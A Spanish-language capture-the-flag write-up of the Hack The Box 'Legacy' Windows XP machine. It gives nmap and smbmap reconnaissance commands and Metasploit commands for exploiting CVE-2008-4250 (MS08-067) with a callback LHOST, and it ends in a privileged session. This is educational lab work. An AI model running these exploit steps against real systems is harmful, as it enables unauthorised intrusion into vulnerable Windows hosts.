> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/hackthebox/legacy.md).

# Legacy

✍️ Autor: ch4p 🔍 Dificultad: Fácil 📅 Fecha de creación: 10/10/2017

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.10.4
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FHUagBNl7bi8N0TRNNtO4%2Fimage.png?alt=media&amp;token=034bcc51-b2d9-488f-8140-17daac7b3b21" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sC -sV 10.10.10.4
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fe1KdmAREKAhXIXSZ30oJ%2Fimage.png?alt=media&amp;token=e0729c29-c46b-44ac-97b0-4fa3416fd9df" alt=""><figcaption></figcaption></figure>

Durante el escaneo se identificaron los siguientes puertos abiertos:

* **Puerto 135 (MS RPC):** Este puerto es utilizado para la comunicación de servicios como DCOM y MSRPC. Puede ser vulnerable a exploits si no está debidamente asegurado. Puedes buscar si hay alguna versión vulnerable de MSRPC, como las que se vieron con ataques como MS08-067.
* **Puerto 139 y 445 (SMB):** Ambos puertos están asociados a servicios de compartición de archivos y recursos en redes Windows. Los vectores de ataque conocidos incluyen ataques de SMB Relay y exploits como EternalBlue (CVE-2017-0144). Es recomendable realizar un escaneo de vulnerabilidades para verificar si estos puertos son accesibles desde fuera y si están expuestos a vulnerabilidades conocidas.

A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p135,139,445 -v 10.10.10.4
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FcT8Gu0xbStMNwgy1OsJZ%2Fimage.png?alt=media&amp;token=1909423b-66e4-4d87-afe2-d00a4f530479" alt=""><figcaption></figcaption></figure>

Miramos el protocolo SMB.

```bash
smbmap -H 10.10.10.4
```

No vemos nada. Revisamos si tiene un CVE.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fb3ZOsgmu41sAkD6XD3Ul%2Fimage.png?alt=media&amp;token=bdcba7a7-f938-4d6d-b72a-eb449022fb3d" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Al ser un Windows XP y revisando por internet encontramos que hay un **CVE-2008-4250** por lo que abrimos Metasploit para explotarlo.

```bash
search CVE-2008-4250
use 0
show options
set RHOSTS 10.10.10.4
set LHOST 10.10.14.7
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYMuoUjW8tusMhrHH37SB%2Fimage.png?alt=media&amp;token=d9df5321-6e0a-4a45-aa7c-b45a61b0d42d" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
getuid
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FKzh4dCsFnoKxfgLhdRK7%2Fimage.png?alt=media&amp;token=179c080d-e030-4bb7-b851-73c6098daf0d" alt=""><figcaption></figcaption></figure>

Somos **root**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FhhS5yscMuU6ZaTbx4dzb%2Fimage.png?alt=media&amp;token=a8749993-a179-4efa-acb7-f0cd74ca826b" alt=""><figcaption></figcaption></figure>
